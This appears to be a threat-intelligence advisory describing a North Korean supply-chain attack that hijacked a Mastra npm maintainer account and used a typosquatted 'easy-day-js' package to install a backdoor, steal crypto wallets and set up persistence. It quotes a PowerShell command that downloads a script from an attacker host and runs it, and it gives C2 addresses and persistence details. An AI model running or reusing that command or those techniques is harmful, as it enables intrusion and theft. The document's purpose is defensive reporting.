Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise of 140+ Mastra npm Packages via Hijacked Maintainer Account — Threadlinqs Intelligence
As of 2026-06-22, Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise of 140+ Mastra npm Packages via Hijacked Maintainer Account is a critical-severity supply chain threat attributed to APT38 (North Korea), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 29 indicators of compromise.
Threat ID: TL-2026-0898 · Severity: CRITICAL · Status: ACTIVE · Category: SUPPLY_CHAIN
Attribution: APT38 · North Korea · FINANCIAL
North Korean state actor Sapphire Sleet hijacked the dormant 'ehindero' maintainer account and, in an 88-minute automated campaign on 2026-06-17, republished 140+ packages across the @mastra
On 2026-06-17 Microsoft Threat Intelligence detected a software supply-chain compromise of the Mastra npm ecosystem (an open-source JavaScript/TypeScript framework for building AI applications, whose @mastra/core package alone has ~918K weekly downloads). The North Korean state actor Sapphire Sleet (also tracked as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, CryptoCore) gained control of the 'ehindero' npm account — a former/dormant Mastra contributor whose publish rights across the entire @mastra scope had never been revoked. The maintainer was compromised after a spoofed LinkedIn account contacted him (and maintainers of other prominent TypeScript projects), got him on a call, and induced him to click a malicious link.
The actor first published a clean decoy library 'easy-day-js@1.11.21' (a clone of the popular dayjs date library, ~57M weekly downloads) at 2026-06-16 07:05 UTC, then weaponized it as 1.11.22 at 2026-06-17 01:01 UTC by adding an obfuscated setup.cjs postinstall dropper. Within an 88-minute window beginning ~01:20 UTC the actor used the hijacked ehindero account to republish 140+ packages across the @mastra scope (including mastra@1.13.1 and later), each injected with 'easy-day-js@^1.11.21' as a new dependency that SemVer-resolved to the weaponized 1.11.22. The typosquat itself was published by a separate account 'sergey2016' (sergey2016@tutamail.com). The poisoned packages contained no malicious code themselves — the payload arrived entirely through the transitive easy-day-js dependency, executing at install time regardless of whether the package was ever imported.
The 4,572-byte setup.cjs dropper is obfuscated with an array of 40 Base64-encoded strings shuffled at init with seed 0x4c11d and decoded with character substitution. It sets NODE_TLS_REJECT_UNAUTHORIZED='0' to disable TLS certificate validation, drops tracking markers ($TMPDIR/.pkg_history with the install path, and $TMPDIR/.pkg_logs containing the XOR-0x80-encoded string 'easy-day-js'), then GETs hxxps://23.254.164[.]92:8000/update/49890878 and writes the ~41KB response as a random-hex .js file in the home directory. That second stage is a cross-platform Node.js tasking client that installs sign-in persistence, sends a 'Start' beacon, and enters a repeated 'Check' poll loop (10-second polling, 180-second backoff on failure) over a custom ICAP-style protocol (HTTPS POST with reqmod / PrimaryUrl / SecondaryUrl headers and a spoofed legacy IE8 User-Agent).
The implant fingerprints the host (hostname, architecture, platform, user ID, installed applications via Get-StartApps + registry Uninstall keys + Get-AppxPackage, running processes), harvests browser History SQLite databases (copied to temp dirs prefixed 'browser-hist_'), and steals cryptocurrency assets using a hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others). Persistence is established per-OS: Windows via an HKCU Run key (value NvmProtocal) launching hidden PowerShell that runs protocal.cjs from C:\ProgramData\NodePackages\; macOS via a RunAtLoad LaunchAgent ~/Library/NodePackages/com.nvm.protocal.plist; Linux via a systemd user unit ~/.config/systemd/nvmconf/nvmconf.service with a 5-second restart delay.
For high-value hosts, the Node.js implant's shell runner fetches a separate PowerShell backdoor from teams.onweblive[.]org via `powershell -w h -c "iwr -UseBasicParsing https://teams.onweblive[.]org/api/update/8555575039/4|iex"`. This backdoor clears PSReadLine history (anti-forensics), sends an 'info' beacon (targetId, username, hostname, timezone, bootTime, OS, version, arch, applist, extlist, admin, vaccine) to maskasd[.]com, writes a hidden loader C:\ProgramData\system.bat registered under HKCU Run value 'MicrosoftUpdate' (re-fetches the backdoor body on each logon by POSTing the keyword 'wwps'), receives a .NET DLL loaded directly into memory via reflection (resolving Extension.SubR
Weaknesses (CWE)
CWE-506, CWE-1357, CWE-829, CWE-494
Target sectors: technology, software development, cryptocurrency, blockchain, venture capital, financial
Target regions: North America, Asia, Middle East
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 29 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
Community OSINT corroboration
3 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.
SUPPLY_CHAIN, CRITICAL, threat intelligence, cybersecurity, T1583, T1586, T1608.001, T1195.001, T1566.003, T1078, T1059.007, T1059.001, T1059.003, T1547.001